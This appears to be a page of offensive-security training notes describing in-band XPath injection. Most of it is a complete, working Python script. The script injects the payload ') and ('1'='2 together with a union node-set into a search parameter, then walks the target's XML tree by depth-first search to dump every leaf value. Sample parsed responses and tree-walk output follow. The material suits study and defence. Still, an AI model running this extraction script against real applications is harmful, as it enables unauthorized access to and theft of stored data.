Skip to content
In-band

In-band

In-band XPath dump: DFS walk of the XML tree via union

Forces the original node-set empty and appends a second node-set after | to render arbitrary nodes, then DFS-walks position()-indexed paths.

When the result of an XPath expression is reflected, a union (|) appends a second node-set whose path is attacker-controlled. The original predicate is forced false (') and ('1'='2) so only the injected node-set renders. classify() maps each response to three states: the No Results! marker (path does not exist), extracted text (a leaf node), or empty render (an interior node with children). An iterative DFS over /*[i]/*[j]/... then walks the whole document, descending interior nodes and recording leaf text. Responses are stored alongside their path on the stack so each node is fetched only once.

import re, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()

SEARCH = "https://target/index.php"
NO_RESULTS = "No Results!"

# Original filter forced empty; injected node-set appended after '|'.
# 'fullstreetname' is whatever field the app normally renders.
def query(path):
    params = {"q": "') and ('1'='2", "f": f"fullstreetname | {path}"}
    return s.get(SEARCH, params=params, verify=False).text

def classify(body):
    if NO_RESULTS in body:
        return ("none", None)
    m = re.search(r'Results:</b><br><br>([^<]*)</center>', body)
    if m and m.group(1).strip():
        return ("text", m.group(1).strip())     # leaf node with text
    return ("node", None)                        # interior node, has children

def dump(root="/*[1]"):
    stack, leaves = [(root, query(root))], []
    while stack:
        path, body = stack.pop()
        kind, text = classify(body)
        if kind == "none":
            continue
        if kind == "text":
            leaves.append((path, text)); print(f"[+] {path} => {text}"); continue
        print(f"[*] {path} node, walking children")
        children, i = [], 1
        while True:
            cpath = f"{path}/*[{i}]"
            cbody = query(cpath)
            if classify(cbody)[0] == "none":
                break
            children.append((cpath, cbody)); i += 1
        stack.extend(reversed(children))         # DFS, left-to-right order
    return leaves

print(f"[*] {len(dump())} leaf nodes recovered")

Response fragment classify() parses

Results:</b><br><br>01ST ST</center>

tree walk

[*] /*[1]/*[1]/*[1] node, walking children
[+] /*[1]/*[1]/*[1]/*[1] => 01ST ST
[+] /*[1]/*[1]/*[1]/*[2] => 01ST

Find by: xpath in-band union node-set dump tree position() DFS walk leaf text extract whole document · Source: CWEE/XPath Injection - In-band Auto Dump